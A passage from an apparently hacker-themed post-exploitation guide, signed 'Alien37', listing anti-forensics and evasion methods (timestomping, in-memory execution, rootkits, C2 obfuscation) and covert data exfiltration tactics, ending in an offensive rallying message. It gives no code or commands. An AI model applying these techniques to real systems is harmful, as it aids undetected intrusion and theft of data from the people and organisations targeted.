- **Timestomping:** Modify file timestamps (Modified, Accessed, Created - MAC times) to match legitimate files, hiding recent activity (Meterpreter timestomp).
- **Memory Execution:** Use techniques (PowerShell IEX, process injection) to run code directly in memory without writing executables to disk.
- **Rootkits:** Kernel-level modifications to hide processes, files, network connections from the OS itself. Difficult to implement and detect.
- **Traffic Obfuscation:** Encrypt C2 traffic (HTTPS, custom encryption), tunnel via common protocols (DNS, ICMP), use domain fronting.

Data Exfiltration

The ultimate goal often involves stealing data. Exfiltrate sensitive information covertly.

- **Low and Slow:** Transfer data gradually over extended periods to avoid triggering bandwidth alerts.
- **Covert Channels:** Use protocols not typically monitored for large data transfers (DNS, ICMP).
- **Encryption:** Encrypt stolen data before exfiltration.
- **Compression:** Reduce data size before transfer.
- **Direct C2 Channel:** Use existing command and control channel if bandwidth/detection allows.

Post-exploitation is an art form requiring adaptability, deep system knowledge, and a paranoid focus on stealth. Each action must be weighed against the risk of detection.

:: Intel Feed ::

Access is the beginning, not the end. Elevate privileges to become the ghost in the machine. Move laterally like a shadow through trusted pathways. Establish persistence like a digital parasite. Erase your tracks meticulously. Exfiltrate data silently. The network is yours, but only if you remain unseen.

Transmission complete. The grid remembers intrusions. Obfuscate your presence. Decrypt the patterns. The signal fades. Alien37 disconnecting.